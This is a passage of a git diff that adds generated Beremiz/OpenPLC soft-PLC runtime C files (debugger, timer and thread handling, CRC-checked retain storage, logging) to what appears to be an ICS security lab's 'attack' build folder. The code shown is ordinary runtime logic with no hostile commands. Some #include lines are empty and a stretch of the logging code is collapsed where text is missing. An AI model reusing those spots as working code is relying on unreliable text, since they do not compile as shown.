*real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - 